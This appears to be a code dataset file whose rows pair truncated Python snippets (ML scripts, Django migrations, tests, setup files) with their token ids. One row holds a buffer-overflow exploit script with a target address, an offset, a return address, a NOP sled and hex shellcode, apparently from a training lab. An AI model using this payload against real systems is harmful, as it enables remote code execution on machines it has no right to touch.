content
stringlengths
1
1.05M
input_ids
listlengths
1
883k
ratio_char_token
float64
1
22.9
token_count
int64
1
883k
import torch import numpy as np filename = '2020.01.12-044406' model = torch.load('logs/'+filename+'/checkpoint.pth.tar') k1 = model['state_dict']['module.conv1.weight'].data.cpu().numpy() k2 = model['state_dict']['module.conv2.weight'].data.cpu().numpy() k3 = model['state_dict']['module.fc1.weight'].data.cpu().numpy(...
[ 11748, 28034, 198, 11748, 299, 32152, 355, 45941, 198, 198, 34345, 796, 705, 42334, 13, 486, 13, 1065, 12, 43977, 29703, 6, 198, 19849, 796, 28034, 13, 2220, 10786, 6404, 82, 14, 6, 10, 34345, 10, 26488, 9122, 4122, 13, 79, 400, 13,...
2.257732
291
from sqlalchemy.exc import IntegrityError import pytest from app.dao.marketings_dao import ( dao_update_marketing, dao_get_marketing_by_id, dao_get_marketings ) from app.models import Marketing from tests.db import create_marketing
[ 6738, 44161, 282, 26599, 13, 41194, 1330, 39348, 12331, 198, 11748, 12972, 9288, 198, 198, 6738, 598, 13, 67, 5488, 13, 10728, 654, 62, 67, 5488, 1330, 357, 198, 220, 220, 220, 288, 5488, 62, 19119, 62, 10728, 278, 11, 288, 5488, 62...
2.9875
80
# Copyright 2019 Robert Bosch GmbH # Copyright 2020-2021 Christophe Bedard # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requir...
[ 2, 15069, 13130, 5199, 14548, 354, 402, 2022, 39, 198, 2, 15069, 12131, 12, 1238, 2481, 1951, 43852, 15585, 446, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, ...
3.754902
204
# coding=utf-8 import os from distutils.spawn import find_executable from setuptools import setup, find_packages import sys sys.path.append('./test') from esfabric import __version__ with open(os.path.join(os.path.dirname(__file__), 'README.md')) as readme: README = readme.read() if os.path.exists(os.path.join...
[ 2, 19617, 28, 40477, 12, 23, 198, 11748, 28686, 198, 6738, 1233, 26791, 13, 48183, 1330, 1064, 62, 18558, 18187, 198, 6738, 900, 37623, 10141, 1330, 9058, 11, 1064, 62, 43789, 198, 11748, 25064, 198, 198, 17597, 13, 6978, 13, 33295, 7...
2.688153
574
# Generated by Django 2.2 on 2019-08-09 18:22 from django.db import migrations, models import django.db.models.deletion
[ 2, 2980, 515, 416, 37770, 362, 13, 17, 319, 13130, 12, 2919, 12, 2931, 1248, 25, 1828, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 198, 11748, 42625, 14208, 13, 9945, 13, 27530, 13, 2934, 1616, 295, 628 ]
2.904762
42
#utils.py import torch from tqdm import tqdm from torch.autograd import Variable from fmtl import FMTL def FMTL_train_val_test(datatuples,splits,split_num=0,validation=0.5,rows=None): """ Builds train/val/test indexes sets from tuple list and split list Validation set at 0.5 if n split is 5 gives an 80:...
[ 2, 26791, 13, 9078, 198, 11748, 28034, 198, 6738, 256, 80, 36020, 1330, 256, 80, 36020, 198, 6738, 28034, 13, 2306, 519, 6335, 1330, 35748, 198, 6738, 46996, 75, 1330, 376, 13752, 43, 628, 628, 198, 4299, 376, 13752, 43, 62, 27432, ...
2.334623
517
# from ..Models import Base, dbConfig # from sqlalchemy import ( # Column, # DateTime, # ForeignKey, # Integer, # Numeric, # String, # Unicode, # text, # Sequence, # orm, # func, # select, # bindparam, # UniqueConstraint, # event) # from sqlalchemy.orm import ...
[ 2, 422, 11485, 5841, 1424, 1330, 7308, 11, 20613, 16934, 198, 2, 422, 44161, 282, 26599, 1330, 357, 198, 2, 220, 220, 220, 220, 29201, 11, 198, 2, 220, 220, 220, 220, 7536, 7575, 11, 198, 2, 220, 220, 220, 220, 8708, 9218, 11, 1...
2.222481
1,290
#!/usr/bin/env python3 import logging import os import os.path import tornado.web import tornado.options from appleseed import AlpineIndexFile, DebianIndexFile from cdtz import set_time_zone from motor import MotorClient from shirow.ioloop import IOLoop from shirow.server import RPCServer, TOKEN_PATTERN, remote from t...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 11748, 18931, 198, 11748, 28686, 198, 11748, 28686, 13, 6978, 198, 198, 11748, 33718, 13, 12384, 198, 11748, 33718, 13, 25811, 198, 6738, 22514, 2308, 1330, 46994, 15732, 8979, 11, 2...
2.37632
1,326
""" This for future test of Event Manager. For now it's just contain snippets for it. """ test(PWBS_EM)
[ 37811, 198, 1212, 329, 2003, 1332, 286, 8558, 9142, 13, 198, 198, 1890, 783, 340, 338, 655, 3994, 45114, 329, 340, 13, 198, 37811, 198, 198, 9288, 7, 47, 54, 4462, 62, 3620, 8, 198 ]
3.028571
35
from django.db.migrations.operations.base import Operation from django.utils.functional import cached_property __all__ = ( 'AddAuditTrigger', 'RemoveAuditTrigger', )
[ 6738, 42625, 14208, 13, 9945, 13, 76, 3692, 602, 13, 3575, 602, 13, 8692, 1330, 14680, 198, 6738, 42625, 14208, 13, 26791, 13, 45124, 1330, 39986, 62, 26745, 628, 198, 834, 439, 834, 796, 357, 198, 220, 220, 220, 705, 4550, 16353, 2...
3.016949
59
# -*- coding: utf-8 -*- # Generated by Django 1.11.20 on 2019-02-21 09:42 from __future__ import unicode_literals from django.db import migrations, models from django.conf import settings import django.db.models.deletion import django.utils.timezone import model_utils.fields import uuid
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 2980, 515, 416, 37770, 352, 13, 1157, 13, 1238, 319, 13130, 12, 2999, 12, 2481, 7769, 25, 3682, 198, 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198...
2.969388
98
# BSD-3-Clause License # # Copyright 2017 Orange # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the followi...
[ 2, 347, 10305, 12, 18, 12, 2601, 682, 13789, 198, 2, 198, 2, 15069, 2177, 11942, 198, 2, 198, 2, 2297, 396, 3890, 290, 779, 287, 2723, 290, 13934, 5107, 11, 351, 393, 1231, 198, 2, 17613, 11, 389, 10431, 2810, 326, 262, 1708, 34...
3.535473
592
#!/usr/bin/env python3 import socket ip = "10.10.16.223" port = 1337 prefix = "OVERFLOW1 " offset = 1978 overflow = "A" * offset retn = "\xaf\x11\x50\x62" # 625011AF padding = "\x90" * 16 payload = ("\xbe\x13\xbf\x94\xb6\xdb\xd7\xd9\x74\x24\xf4\x58\x29\xc9\xb1" "\x52\x83\xe8\xfc\x31\x70\x0e\x03\x63\xb1\x76\x43\x7f\x...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 11748, 17802, 198, 198, 541, 796, 366, 940, 13, 940, 13, 1433, 13, 22047, 1, 198, 634, 796, 1511, 2718, 198, 198, 40290, 796, 366, 41983, 3697, 3913, 16, 366, 198, 28968, ...
1.422911
1,388
# Generated by Django 3.2.4 on 2021-09-08 04:50 from django.db import migrations def _insert_lrg_id_key(apps, schema_editor): """ This can be deleted if there is a blat_keys migration after it """ EvidenceKey = apps.get_model("classification", "EvidenceKey") EvidenceKey.objects.get_or_create( ke...
[ 2, 2980, 515, 416, 37770, 513, 13, 17, 13, 19, 319, 33448, 12, 2931, 12, 2919, 8702, 25, 1120, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 628, 198, 4299, 4808, 28463, 62, 14050, 70, 62, 312, 62, 2539, 7, 18211, 11, ...
2.569405
353
# ------------------------------------------------------------------------------ # # Project: EOxServer <http://eoxserver.org> # Authors: Fabian Schindler <fabian.schindler@eox.at> # # ------------------------------------------------------------------------------ # Copyright (C) 2017 EOX IT Services GmbH # # Permission...
[ 2, 16529, 26171, 198, 2, 198, 2, 4935, 25, 412, 38208, 10697, 1279, 4023, 1378, 68, 1140, 15388, 13, 2398, 29, 198, 2, 46665, 25, 14236, 666, 3059, 521, 1754, 1279, 36434, 666, 13, 20601, 521, 1754, 31, 68, 1140, 13, 265, 29, 198,...
4.113402
388
from typing import Any, Dict, Iterable, List, Optional, Tuple, Callable from math import pi as from sympy import Matrix as Mat from numpy import ndarray from physical_education.links import Link3D, constrain_rel_angle from physical_education.system import System3D from physical_education.foot import add_foot, feet, F...
[ 6738, 19720, 1330, 4377, 11, 360, 713, 11, 40806, 540, 11, 7343, 11, 32233, 11, 309, 29291, 11, 4889, 540, 198, 6738, 10688, 1330, 31028, 355, 220, 198, 6738, 10558, 88, 1330, 24936, 355, 6550, 198, 6738, 299, 32152, 1330, 299, 67, ...
1.959918
11,277
#!/usr/bin/env python import numpy as np import pandas as pd import matplotlib.pyplot as plt if __name__ == "__main__": main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 220, 198, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 19798, 292, 355, 279, 67, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 198, 361, 11593, 3672, 834, 6624, 366,...
2.557692
52
import hashlib from unittest.mock import Mock, patch from asn1crypto.cms import ContentInfo from asn1crypto.tsp import PKIStatus, PKIStatusInfo, TimeStampResp from pyasice.tsa import requests, TSA
[ 11748, 12234, 8019, 198, 6738, 555, 715, 395, 13, 76, 735, 1330, 44123, 11, 8529, 198, 198, 6738, 355, 77, 16, 29609, 78, 13, 46406, 1330, 14041, 12360, 198, 6738, 355, 77, 16, 29609, 78, 13, 912, 79, 1330, 29673, 40, 19580, 11, 2...
2.985294
68
# Demo Python For Loops - Else in For Loop ''' Else in For Loop The else keyword in a for loop specifies a block of code to be executed when the loop is finished: ''' # Print all numbers from 0 to 5, and print a message when the loop has ended: for x in range(6): print(x) else: print("Finally finished!")
[ 2, 34588, 11361, 1114, 6706, 2840, 532, 25974, 287, 1114, 26304, 198, 7061, 6, 198, 40674, 287, 1114, 26304, 198, 198, 464, 2073, 21179, 287, 257, 329, 9052, 26052, 257, 2512, 286, 2438, 284, 307, 10945, 618, 262, 9052, 318, 5201, 25,...
3.268041
97
""" Copyright 2017, Andrew Lin All rights reserved. This software is licensed under the BSD 3-Clause License. See LICENSE.txt at the root of the project or https://opensource.org/licenses/BSD-3-Clause """ from maze.maze import Maze, Coordinates from maze.mazehat import MazeHat
[ 37811, 198, 15269, 2177, 11, 6858, 5164, 198, 3237, 2489, 10395, 13, 198, 198, 1212, 3788, 318, 11971, 739, 262, 347, 10305, 513, 12, 2601, 682, 13789, 13, 198, 6214, 38559, 24290, 13, 14116, 379, 262, 6808, 286, 262, 1628, 393, 198, ...
3.414634
82
#!/usr/bin/env python import logging, boto3, subprocess logging.basicConfig(level=logging.INFO, format='%(asctime)s %(name)-12s %(levelname)-8s %(message)s', datefmt='%m-%d %H:%M', filename='../../logs/cloud.log', filemode='a') from config...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 11748, 18931, 11, 275, 2069, 18, 11, 850, 14681, 198, 198, 6404, 2667, 13, 35487, 16934, 7, 5715, 28, 6404, 2667, 13, 10778, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2...
1.922803
842
# Connect bmp388 and esp32 via I2C. # # Warning: # This demo only supports python3. # Run this demo : python3 I2CreadTemperature.py # # connect: # raspberry bmp388 # 3.3v(1) VCC # GND(6) GND # SCL(5) SCL # SDA(3) SDA # BMP388_I2C_ADDR = 0x76: pin SDO is low # BMP38...
[ 2, 8113, 275, 3149, 30460, 290, 15024, 2624, 2884, 314, 17, 34, 13, 198, 2, 198, 2, 15932, 25, 198, 2, 220, 220, 770, 13605, 691, 6971, 21015, 18, 13, 198, 2, 220, 220, 5660, 428, 13605, 1058, 21015, 18, 314, 17, 34, 961, 42492,...
2.097222
288
""" @author: tyrantlucifer @contact: tyrantlucifer@gmail.com @blog: https://tyrantlucifer.com @file: setting_utils.py @time: 2021/2/18 22:42 @desc: """ from shadowsocksr_cli.logger import *
[ 37811, 201, 198, 31, 9800, 25, 47167, 75, 1229, 7087, 201, 198, 31, 32057, 25, 47167, 75, 1229, 7087, 31, 14816, 13, 785, 201, 198, 31, 14036, 25, 3740, 1378, 774, 5250, 75, 1229, 7087, 13, 785, 201, 198, 31, 7753, 25, 4634, 62, ...
2.303371
89
# -*- coding: utf-8 -*- import os from conanfile_base import ConanFileBase
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 11748, 28686, 198, 6738, 369, 272, 7753, 62, 8692, 1330, 31634, 8979, 14881, 628 ]
2.655172
29
from .fpn import FPN50 from .net import RetinaNet from .box_coder import RetinaBoxCoder
[ 6738, 764, 69, 21999, 1330, 376, 13137, 1120, 201, 198, 6738, 764, 3262, 1330, 4990, 1437, 7934, 201, 198, 6738, 764, 3524, 62, 66, 12342, 1330, 4990, 1437, 14253, 34, 12342, 201, 198 ]
2.757576
33
#! /usr/bin python from time import ctime, sleep foo() sleep(4) for i in range(2): sleep(1) foo()
[ 2, 0, 1220, 14629, 14, 8800, 21015, 198, 198, 6738, 640, 1330, 269, 2435, 11, 3993, 198, 198, 21943, 3419, 198, 42832, 7, 19, 8, 198, 198, 1640, 1312, 287, 2837, 7, 17, 2599, 198, 220, 220, 220, 3993, 7, 16, 8, 198, 220, 220, ...
2.25
48
from math import sqrt from typing import Optional import torch from tqdm import tqdm from torch_geometric.nn.models.explainer import ( Explainer, clear_masks, set_masks, ) EPS = 1e-15
[ 6738, 10688, 1330, 19862, 17034, 198, 6738, 19720, 1330, 32233, 198, 198, 11748, 28034, 198, 6738, 256, 80, 36020, 1330, 256, 80, 36020, 198, 198, 6738, 28034, 62, 469, 16996, 13, 20471, 13, 27530, 13, 20676, 10613, 1330, 357, 198, 220,...
2.631579
76
try: real = float(input('R$:')) except ValueError: print(f'Digite uma quantia valida.') real = float(input('R$:')) while len(str(real)) > 5: print('Quantia no reconhecida, digite novamente com "." para separar os centavos') real = float(input('R$:')) print(f'Voce pode comprar {real/5.55:.2f} dola...
[ 28311, 25, 198, 220, 220, 220, 1103, 796, 12178, 7, 15414, 10786, 49, 3, 32105, 4008, 198, 16341, 11052, 12331, 25, 198, 220, 220, 220, 3601, 7, 69, 6, 19511, 578, 334, 2611, 5554, 544, 1188, 3755, 2637, 8, 198, 220, 220, 220, 110...
2.30303
165
from __future__ import annotations from dataclasses import dataclass, field from typing import List, Tuple, Union from urllib.parse import ParseResult, urlencode __version__ = '0.0.1.dev' Query = List[Tuple[str, str]] Path = List[str] HTTP = URL.http HTTPS = URL.https if __name__ == "__main__": import doctes...
[ 6738, 11593, 37443, 834, 1330, 37647, 198, 198, 6738, 4818, 330, 28958, 1330, 4818, 330, 31172, 11, 2214, 198, 6738, 19720, 1330, 7343, 11, 309, 29291, 11, 4479, 198, 6738, 2956, 297, 571, 13, 29572, 1330, 2547, 325, 23004, 11, 2956, ...
2.796748
123
from django.contrib import admin from django.contrib.auth.forms import AuthenticationForm
[ 6738, 42625, 14208, 13, 3642, 822, 1330, 13169, 198, 6738, 42625, 14208, 13, 3642, 822, 13, 18439, 13, 23914, 1330, 48191, 8479, 198 ]
3.913043
23
import logging from dataclasses import dataclass import TelegramBot.lib_requests as lib_requests import CustomLogger
[ 11748, 18931, 198, 6738, 4818, 330, 28958, 1330, 4818, 330, 31172, 198, 198, 11748, 50203, 20630, 13, 8019, 62, 8897, 3558, 355, 9195, 62, 8897, 3558, 198, 11748, 8562, 11187, 1362, 628, 628, 198 ]
3.588235
34
import pyautogui as pgui pgui.PAUSE = 0 apply_sauce()
[ 11748, 12972, 2306, 519, 9019, 355, 279, 48317, 198, 79, 48317, 13, 4537, 19108, 796, 657, 198, 198, 39014, 62, 82, 559, 344, 3419 ]
2.25
24
#!/usr/bin/env python """Notifies subscribers of new articles.""" import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText def main(): return if __name__ == "__main__": main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 37811, 3673, 6945, 18327, 286, 649, 6685, 526, 15931, 198, 198, 11748, 895, 83, 489, 571, 198, 6738, 3053, 13, 76, 524, 13, 16680, 541, 433, 1330, 337, 3955, 3620, 586, 541, 433, 198...
2.729412
85
# -*- coding: utf-8 -*- # @Time : 2019-12-22 # @Author : mizxc # @Email : xiangxianjiao@163.com import re if __name__ == '__main__': print (reEmail('')) print (len('12222'))
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 2488, 7575, 220, 220, 220, 1058, 13130, 12, 1065, 12, 1828, 198, 2, 2488, 13838, 220, 1058, 285, 528, 25306, 198, 2, 2488, 15333, 220, 220, 1058, 2124, 15483, 87, ...
2.087912
91
from pytest_mpi._helpers import _fix_plural MPI_TEST_CODE = """ import pytest @pytest.mark.mpi def test_size(): from mpi4py import MPI comm = MPI.COMM_WORLD assert comm.size > 0 @pytest.mark.mpi(min_size=2) def test_size_min_2(): from mpi4py import MPI com...
[ 6738, 12972, 9288, 62, 3149, 72, 13557, 16794, 364, 1330, 4808, 13049, 62, 489, 1523, 198, 198, 7378, 40, 62, 51, 6465, 62, 34, 16820, 796, 37227, 198, 220, 220, 220, 1330, 12972, 9288, 628, 220, 220, 220, 2488, 9078, 9288, 13, 4102...
1.943662
568
import asyncio import discord import nest_asyncio from repalette.constants import DISCORD_BOT_TOKEN
[ 11748, 30351, 952, 198, 198, 11748, 36446, 198, 11748, 16343, 62, 292, 13361, 952, 198, 198, 6738, 1128, 282, 5857, 13, 9979, 1187, 1330, 13954, 34, 12532, 62, 33, 2394, 62, 10468, 43959, 628, 198 ]
2.971429
35
import logging import pytest from werkzeug.datastructures import ImmutableMultiDict from main import app
[ 11748, 18931, 198, 198, 11748, 12972, 9288, 198, 6738, 266, 9587, 2736, 1018, 13, 19608, 459, 1356, 942, 1330, 9543, 18187, 29800, 35, 713, 198, 198, 6738, 1388, 1330, 598, 628, 628, 628, 628, 628, 628, 628 ]
3.243243
37
f1 = open("../train_pre_1") f2 = open("../test_pre_1") out1 = open("../train_pre_1b","w") out2 = open("../test_pre_1b","w") t = open("../train_gbdt_out") v = open("../test_gbdt_out") add = [] for i in range(30,49): add.append("C" + str(i)) line = f1.readline() print(line[:-1] + "," + ",".join(add), file=ou...
[ 69, 16, 796, 1280, 7203, 40720, 27432, 62, 3866, 62, 16, 4943, 201, 198, 69, 17, 796, 1280, 7203, 40720, 9288, 62, 3866, 62, 16, 4943, 201, 198, 448, 16, 796, 1280, 7203, 40720, 27432, 62, 3866, 62, 16, 65, 2430, 86, 4943, 201, ...
1.983645
428
from PPO import * from TD3 import * import argparse parser = argparse.ArgumentParser() parser.add_argument("--policy_path", required=True, type=str) parser.add_argument("--stats_path", required=True, type=str) parser.add_argument("--env", required=True, type=str) parser.add_argument("--seed", required=True, type=int) ...
[ 6738, 350, 16402, 1330, 1635, 198, 6738, 13320, 18, 1330, 1635, 198, 11748, 1822, 29572, 198, 198, 48610, 796, 1822, 29572, 13, 28100, 1713, 46677, 3419, 198, 48610, 13, 2860, 62, 49140, 7203, 438, 30586, 62, 6978, 1600, 2672, 28, 17821...
2.771987
307
""" Bubble Sort: """ # Best: O(n) time | O(1) space # Average: O(n^2) time | O(1) space # Worst: O(n^2) time | O(1) space """ Traverse the input array, swapping any two numbers that are out of order and keeping track of any swaps that you make. Once you arrive at the end of the array, check if you have made any swa...
[ 37811, 198, 33, 549, 903, 33947, 25, 198, 37811, 628, 198, 2, 6705, 25, 440, 7, 77, 8, 640, 930, 440, 7, 16, 8, 2272, 198, 2, 13475, 25, 440, 7, 77, 61, 17, 8, 640, 930, 440, 7, 16, 8, 2272, 198, 2, 33443, 25, 440, 7, 77...
3.228571
140
# Crypto Challenge Set 1 """ 1. Convert hex to base64 2. Fixed buffer XOR 3. """ import base64 def convert_hex_to_base64(hex): """ Converts hex string to base64 encoding :param hex: hex encoded string :return: base64 encoded string """ # Convert hex to byte string decoded_hex = bytearray...
[ 2, 36579, 13879, 5345, 352, 198, 37811, 198, 16, 13, 38240, 17910, 284, 2779, 2414, 198, 17, 13, 10832, 11876, 1395, 1581, 198, 18, 13, 198, 198, 37811, 198, 198, 11748, 2779, 2414, 628, 198, 4299, 10385, 62, 33095, 62, 1462, 62, 86...
2.088916
821
#!/bin/env python3 import os import sys import json import uuid import argparse import logging import coloredlogs import requests # Defining the default values that can be overridden on the CLI DEFAULTS = { 'guidfile': 'client-guid', 'outfile': 'last-dump', 'verfile': 'last-version', 'instance': 'Worl...
[ 2, 48443, 8800, 14, 24330, 21015, 18, 198, 198, 11748, 28686, 198, 11748, 25064, 198, 11748, 33918, 198, 11748, 334, 27112, 198, 11748, 1822, 29572, 198, 11748, 18931, 198, 11748, 16396, 6404, 82, 198, 11748, 7007, 198, 198, 2, 2896, 31...
2.262465
1,444
""" ############################################################################### # Copyright (c) 2003, Pfizer # Copyright (c) 2001, Cayce Ullman. # Copyright (c) 2001, Brian Matthews. # # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provide...
[ 37811, 198, 29113, 29113, 7804, 4242, 21017, 198, 2, 15069, 357, 66, 8, 5816, 11, 38477, 7509, 198, 2, 15069, 357, 66, 8, 5878, 11, 28335, 344, 471, 297, 805, 13, 198, 2, 15069, 357, 66, 8, 5878, 11, 8403, 22233, 13, 198, 2, 198...
2.860038
2,122
"""Contain a window with a plot for pygame_gui.""" from typing import Union import pygame import pygame_gui from pygame_gui.core.interfaces.manager_interface import IUIManagerInterface from pygame_gui.core.ui_element import ObjectID from .backend_pygame import FigureSurface import matplotlib matplotlib.use("module:/...
[ 37811, 4264, 391, 257, 4324, 351, 257, 7110, 329, 12972, 6057, 62, 48317, 526, 15931, 198, 6738, 19720, 1330, 4479, 198, 198, 11748, 12972, 6057, 198, 11748, 12972, 6057, 62, 48317, 198, 6738, 12972, 6057, 62, 48317, 13, 7295, 13, 3849,...
3.275229
109
# work with this string alphabet = input() print(tuple(alphabet))
[ 2, 670, 351, 428, 4731, 198, 17307, 8380, 796, 5128, 3419, 198, 198, 4798, 7, 83, 29291, 7, 17307, 8380, 4008, 198 ]
3.045455
22
from flask import Blueprint,render_template,flash,url_for,redirect from simpledu.models import Course from simpledu.forms import LoginForm,RegisterForm from flask_login import login_user front = Blueprint('front',__name__)
[ 6738, 42903, 1330, 39932, 11, 13287, 62, 28243, 11, 34167, 11, 6371, 62, 1640, 11, 445, 1060, 198, 6738, 7106, 15532, 13, 27530, 1330, 20537, 198, 6738, 7106, 15532, 13, 23914, 1330, 23093, 8479, 11, 38804, 8479, 198, 6738, 42903, 62, ...
3.79661
59
import argparse import numpy as np import os from os import path import tensorflow as tf from tensorflow.keras.callbacks import ModelCheckpoint from models import RefineDetVGG16 from utils import read_jpeg_image, resize_image_and_boxes, absolute2relative from saffran.saffran_data_loader import load_saffran_dataset fro...
[ 11748, 1822, 29572, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 28686, 198, 6738, 28686, 1330, 3108, 198, 11748, 11192, 273, 11125, 355, 48700, 198, 6738, 11192, 273, 11125, 13, 6122, 292, 13, 13345, 10146, 1330, 9104, 9787, 4122, 198...
2.396384
1,438
import torch ######### Load saved model from checkpoint #########
[ 11748, 28034, 198, 198, 7804, 2, 8778, 7448, 2746, 422, 26954, 220, 1303, 7804, 198 ]
4.533333
15
import argparse import gspread import json import lattice import requests import string import sys from collections import OrderedDict from gspread_formatting import * from oauth2client.service_account import ServiceAccountCredentials from urllib.parse import urljoin args = getArgs() if not args.type: sys.exit('ERROR...
[ 11748, 1822, 29572, 198, 11748, 308, 43639, 198, 11748, 33918, 198, 11748, 47240, 501, 198, 11748, 7007, 198, 11748, 4731, 198, 11748, 25064, 198, 6738, 17268, 1330, 14230, 1068, 35, 713, 198, 6738, 308, 43639, 62, 18982, 889, 1330, 1635,...
2.622994
2,679
# Copyright 2020 The Forte Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
[ 2, 15069, 12131, 383, 6401, 68, 46665, 13, 1439, 6923, 33876, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 2...
3.628676
272
# Generated by Django 3.0.9 on 2020-08-24 17:29 import autoslug.fields from django.db import migrations, models import django.utils.timezone import model_utils.fields
[ 2, 2980, 515, 416, 37770, 513, 13, 15, 13, 24, 319, 12131, 12, 2919, 12, 1731, 1596, 25, 1959, 198, 198, 11748, 44619, 75, 1018, 13, 25747, 198, 6738, 42625, 14208, 13, 9945, 1330, 15720, 602, 11, 4981, 198, 11748, 42625, 14208, 13,...
3.072727
55
from channels.auth import AuthMiddlewareStack from channels.routing import ProtocolTypeRouter, URLRouter from django.urls import path from sandbox.apps.devices.consumers import FactoryDevicesConsumer, UserDevicesConsumer from sandbox.libs.logs.consumers import SandboxLogsConsumer application = ProtocolTypeRouter({ ...
[ 6738, 9619, 13, 18439, 1330, 26828, 34621, 1574, 25896, 198, 6738, 9619, 13, 81, 13660, 1330, 20497, 6030, 49, 39605, 11, 10289, 49, 39605, 198, 6738, 42625, 14208, 13, 6371, 82, 1330, 3108, 198, 198, 6738, 35204, 13, 18211, 13, 42034, ...
2.849315
219
import sys import json from typing import Optional from datetime import datetime, timezone from .submissions_loader import Submission, SubmissionLoader, SubmissionStatus
[ 11748, 25064, 198, 11748, 33918, 198, 6738, 19720, 1330, 32233, 198, 6738, 4818, 8079, 1330, 4818, 8079, 11, 640, 11340, 198, 6738, 764, 7266, 8481, 62, 29356, 1330, 42641, 11, 42641, 17401, 11, 42641, 19580, 628 ]
4.75
36
import chainer from chainer.backends import cuda from chainer import distribution from chainer.functions.math import exponential import chainer.functions.math.sum as sum_mod def sample_n(self, n): xp = cuda.get_array_module(self.p) obo_p = self.p.data.reshape((-1,) + self.event_shape) eye ...
[ 11748, 6333, 263, 198, 6738, 6333, 263, 13, 1891, 2412, 1330, 269, 15339, 198, 6738, 6333, 263, 1330, 6082, 198, 6738, 6333, 263, 13, 12543, 2733, 13, 11018, 1330, 39682, 198, 11748, 6333, 263, 13, 12543, 2733, 13, 11018, 13, 16345, 3...
2.208178
269
from __future__ import absolute_import, division, unicode_literals import os import logging OS_VERSIONS = ['6', '7'] DATA_DIR = '/tmp/centos_packages/' REPO_BASE_URL = 'http://mirror.centos.org/centos/' REPOSITORIES = ['os', 'updates', 'centosplus', 'extras', 'fasttrack'] REPOSITORIES_PRETTY = {'os': 'Base', ...
[ 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 11, 7297, 11, 28000, 1098, 62, 17201, 874, 198, 11748, 28686, 198, 11748, 18931, 198, 198, 2640, 62, 28884, 11053, 796, 37250, 21, 3256, 705, 22, 20520, 198, 26947, 62, 34720, 796, 31051, ...
2.080729
384
import os import sys import time import logging from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler if __name__ == '__main__': main()
[ 11748, 28686, 198, 11748, 25064, 198, 11748, 640, 198, 11748, 18931, 198, 6738, 26856, 13, 672, 2655, 690, 1330, 27058, 198, 6738, 26856, 13, 31534, 1330, 9220, 11964, 9237, 25060, 628, 628, 628, 198, 361, 11593, 3672, 834, 6624, 705, 8...
3.588235
51
import json import uuid import six from datetime import timedelta from types import GeneratorType from typing import Union, Optional, Callable from jsonschema import ValidationError from twisted.internet.defer import _inlineCallbacks, Deferred from autobahn.wamp import RegisterOptions from mdstudio.api.api_result imp...
[ 11748, 33918, 198, 11748, 334, 27112, 198, 11748, 2237, 198, 198, 6738, 4818, 8079, 1330, 28805, 12514, 198, 6738, 3858, 1330, 35986, 6030, 198, 6738, 19720, 1330, 4479, 11, 32233, 11, 4889, 540, 198, 6738, 44804, 684, 2395, 2611, 1330, ...
3.063107
412
codewords={ 'array':'an arrangement of aerials spaced to give desired directional characteristics', 'byte':'computer memory unit', 'boolean':'a data type with only two possible values: true or false', 'debug':'locate and correct errors in a computer program code', 'address':'the code that identifies where a piece ...
[ 19815, 413, 3669, 34758, 198, 197, 6, 18747, 10354, 6, 272, 13888, 286, 9551, 8231, 38980, 284, 1577, 10348, 47424, 9695, 3256, 198, 197, 6, 26327, 10354, 6, 33215, 4088, 4326, 3256, 198, 197, 6, 2127, 21052, 10354, 6, 64, 1366, 2099,...
3.617647
238
from __future__ import print_function, absolute_import, division from ctypes import * import sys from numba import unittest_support as unittest from numba.compiler import compile_isolated from numba import types is_windows = sys.platform.startswith('win32') if not is_windows: proc = CDLL(None) c_sin = proc.s...
[ 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 11, 4112, 62, 11748, 11, 7297, 198, 6738, 269, 19199, 1330, 1635, 198, 11748, 25064, 198, 6738, 997, 7012, 1330, 555, 715, 395, 62, 11284, 355, 555, 715, 395, 198, 6738, 997, 7012, 13, ...
2.504
375
from floodsystem.geo import rivers_with_station from floodsystem.geo import stations_by_river from floodsystem.station import MonitoringStation
[ 6738, 6947, 10057, 13, 469, 78, 1330, 18180, 62, 4480, 62, 17529, 198, 6738, 6947, 10057, 13, 469, 78, 1330, 8985, 62, 1525, 62, 38291, 198, 6738, 6947, 10057, 13, 17529, 1330, 37484, 12367, 628, 198 ]
4.055556
36
""" This file contains all unit tests that count a number of results in the database. (Corresponding to the file: 'flask_monitoringdashboard/database/count.py') See info_box.py for how to run the test-cases. """ import unittest from flask_monitoringdashboard.database import session_scope from flask_monito...
